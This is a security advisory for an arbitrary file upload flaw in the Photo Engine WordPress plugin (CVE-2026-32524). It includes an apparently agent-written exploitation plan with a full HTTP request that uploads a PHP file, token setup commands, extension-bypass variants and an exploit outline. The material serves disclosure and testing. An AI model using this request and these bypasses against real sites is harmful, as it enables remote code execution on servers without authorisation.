Photo Engine (Media Organizer & Lightroom) <= 6.4.9 - Authenticated (Author+) Arbitrary File Upload
Description
The Photo Engine (Media Organizer & Lightroom) plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in all versions up to, and including, 6.4.9. This makes it possible for authenticated attackers, with Author-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
What Changed in the Fix
Changes introduced in v6.5.0
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-32524 (Photo Engine Arbitrary File Upload) ## 1. Vulnerability Summary The **Photo Engine (Media Organizer & Lightroom)** plugin (formerly WP/LR Sync) is vulnerable to an authenticated arbitrary file upload in versions up to and including 6.4.9. The vulnerabil…
Show full research plan
Exploitation Research Plan: CVE-2026-32524 (Photo Engine Arbitrary File Upload)
1. Vulnerability Summary
The Photo Engine (Media Organizer & Lightroom) plugin (formerly WP/LR Sync) is vulnerable to an authenticated arbitrary file upload in versions up to and including 6.4.9. The vulnerability exists because the plugin's custom API endpoint (/?wplr-sync-api) handles file uploads for synchronization without validating the file extension or MIME type. An attacker with Author level access (or any user with the upload_files capability) can obtain an API token and upload a malicious PHP file to the server, leading to Remote Code Execution (RCE).
2. Attack Vector Analysis
- Endpoint: Custom API endpoint triggered when the URL ends with
/?wplr-sync-api. - Authentication: Requires a valid
wplr_auth_tokenassociated with a user who hasAuthoror higher privileges. - Vulnerable Parameter: The
fileparameter in the$_FILESarray and thefileparameter in the$_POSTarray (used for naming). - Preconditions:
- The attacker must have a valid account on the WordPress site.
- The account must have a
wplr_auth_tokenset in its user metadata.
3. Code Flow
- Entry Point:
Meow_WPLR_Sync_API::__construct()inclasses/api.phpchecks if the request URI ends with/?wplr-sync-api. - Request Handling:
handleRequest()is called on theinithook. - Dispatch: If
$_POST['action'] === 'sync', the code calls$this->auth( $_POST['token'] ). - Authentication:
auth($token)queries the database for a user wheremeta_key = 'wplr_auth_token'matches the provided token. It sets$this->user. - Processing:
sync($_POST)is called.- It retrieves the temporary file path:
$file = $_FILES['file']['tmp_name']. - It creates a
Meow_WPLR_Sync_LRInfoobject. - It sets
$lrinfo->lr_file = $args["file"](this is the user-controlled filename from$_POST['file']).
- It retrieves the temporary file path:
- Sink: It calls
$wplr->sync_media( $lrinfo, $file, $args["wp_col_id"], $this->user->ID ). - Execution: While the full source of
sync_mediais not provided, the plugin typically uses$lrinfo->lr_fileto determine the destination filename in the WordPress uploads directory. The lack of validation inapi.phpbefore callingsync_mediaallows the upload of.phpfiles.
4. Nonce Acquisition Strategy
This specific endpoint does not use standard WordPress nonces. Instead, it uses a custom wplr_auth_token.
- Strategy:
- Log in as an Author.
- Navigate to the user profile page.
- The
wplr_auth_tokenis typically displayed in the "Photo Engine" or "WP/LR Sync" section of the WordPress profile.
- PoC Automation: Since the agent has control over the environment, we will programmatically set the token for our test user to simplify the exploit.
wp user meta update author_user wplr_auth_token "PwnedToken123"
5. Exploitation Strategy
The exploit involves sending a multipart/form-data POST request to the custom API endpoint.
Step-by-Step Plan:
- Identify Target:
http://<target>/index.php/?wplr-sync-api - Set Headers:
Content-Type: multipart/form-data - Construct Payload:
action:synctoken:PwnedToken123(The token we set via WP-CLI)id:9999(Arbitrary Lightroom ID)file:shell.php(The desired filename on the server)title:Exploittags:[]file(Uploaded file):<?php phpinfo(); ?>
HTTP Request (Conceptual):
POST /?wplr-sync-api HTTP/1.1
Host: localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="action"
sync
------WebKitFormBoundary
Content-Disposition: form-data; name="token"
PwnedToken123
------WebKitFormBoundary
Content-Disposition: form-data; name="id"
9999
------WebKitFormBoundary
Content-Disposition: form-data; name="file"
shell.php
------WebKitFormBoundary
Content-Disposition: form-data; name="tags"
[]
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php
<?php phpinfo(); ?>
------WebKitFormBoundary--
6. Test Data Setup
- Create Author User:
wp user create attacker attacker@example.com --role=author --user_pass=password - Assign Token:
wp user meta update attacker wplr_auth_token "PwnedToken123" - Ensure Plugin is Active:
wp plugin activate wplr-sync
7. Expected Results
- The server should respond with a JSON object containing
"success": true. - A file named
shell.phpshould be created in the WordPress uploads directory (usuallywp-content/uploads/wplr-sync/or similar, depending on plugin configuration). - Accessing the uploaded file via a browser/HTTP request should execute the PHP code.
8. Verification Steps
- Check Filesystem:
Use WP-CLI to find the file:find /var/www/html/wp-content/uploads -name shell.php - Confirm Execution:
Send an HTTP GET request to the path of the uploaded file and check for thephpinfostring in the response. - Plugin Logs:
The plugin logs activity. Checkwp-content/uploads/wplr-sync.logif it exists.
9. Alternative Approaches
If the custom API endpoint is disabled or requires specific headers:
- REST API Path: Analyze
classes/rest.php. While the primary vulnerability is in the custom API, there may be parallel issues in the REST routes like/linkinfo_upload(referenced inapi.phpline 77). - Filename Manipulation: If
shell.phpis blocked by some filter, tryshell.php.jpgorshell.phtmlto see if the plugin handles double extensions or alternative PHP extensions.
Summary
The Photo Engine plugin for WordPress fails to validate file extensions on its custom API synchronization endpoint. Authenticated users with Author-level privileges (possessing the `upload_files` capability) can exploit this by providing a malicious PHP filename and content to the sync endpoint, leading to remote code execution.
Vulnerable Code
// classes/api.php:229 function sync( $args ) { global $wplr; if ( !$_FILES || !isset( $_FILES['file'] ) ) { $wplr->log( 'Parameter missing.' ); return $this->response( null, false, 'Parameter missing.' ); } $lrinfo = new Meow_WPLR_Sync_LRInfo(); $lrinfo->lr_id = $args["id"]; $lrinfo->lr_file = $args["file"]; // Attacker-controlled filename $lrinfo->lr_title = $args["title"]; // ... (lines 236-244) $file = $_FILES['file']['tmp_name']; if ( !isset( $args["wp_col_id"] ) || $args["wp_col_id"] == null ) $args["wp_col_id"] = -1; // The sync_media call processes the file without validating its extension if ( !$sync = $wplr->sync_media( $lrinfo, $file, $args["wp_col_id"], $this->user->ID ) ) { return $this->response( null, false, $wplr->get_error() ); } return $this->response($sync); }
Security Fix
@@ -1,3 +1,3 @@ /*! For license information please see index.js.LICENSE.txt */ -(()=>{"use strict";var e,t={79:(e,t,n)=>{var r,a,o,l,i,c=n(1746),u=n(9570),s=n(3391),d=n(6089),f=n(1368),p=n(3648),m=n(1774),y=n(2223),h=n(4114),g=n(9176),v=n(5952),b=n(1168),E=n(2685),w=n(2925),R=n(4810),k=n(3531),S=pEngine.prefix,O=(pEngine.domain,pEngine.rest_url.replace(/\/+$/,"")),I=pEngine.api_url.replace(/\/+$/,"")),P=pEngine.plugin_url.replace(/\/+$/,"")),A="1"===pEngine.is_pro,x=(A&&pEngine.is_registered,pEngine.rest_nonce),T=n(1794),j=n(5643);function C(e,t){return t||(t=e.slice(0)),Object.freeze(Object.defineProperties(e,{raw:{value:Object.freeze(t)}}))} ... (truncated)
Exploit Outline
The exploit targets the custom API endpoint enabled when the request URI ends with `/?wplr-sync-api`. An attacker requires Author-level access to obtain their `wplr_auth_token` from their WordPress user profile. 1. Authenticate as an Author and retrieve the `wplr_auth_token`. 2. Send a multipart/form-data POST request to `http://<target>/?wplr-sync-api`. 3. Include form fields: `action=sync`, `token=<token>`, `id=<arbitrary_id>`, and `file=shell.php`. 4. Attach the malicious PHP script in the `file` upload field. 5. The plugin saves the file based on the `file` POST parameter without validation. 6. Access the shell at the plugin's default upload directory (typically `wp-content/uploads/wplr-sync/shell.php`).
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.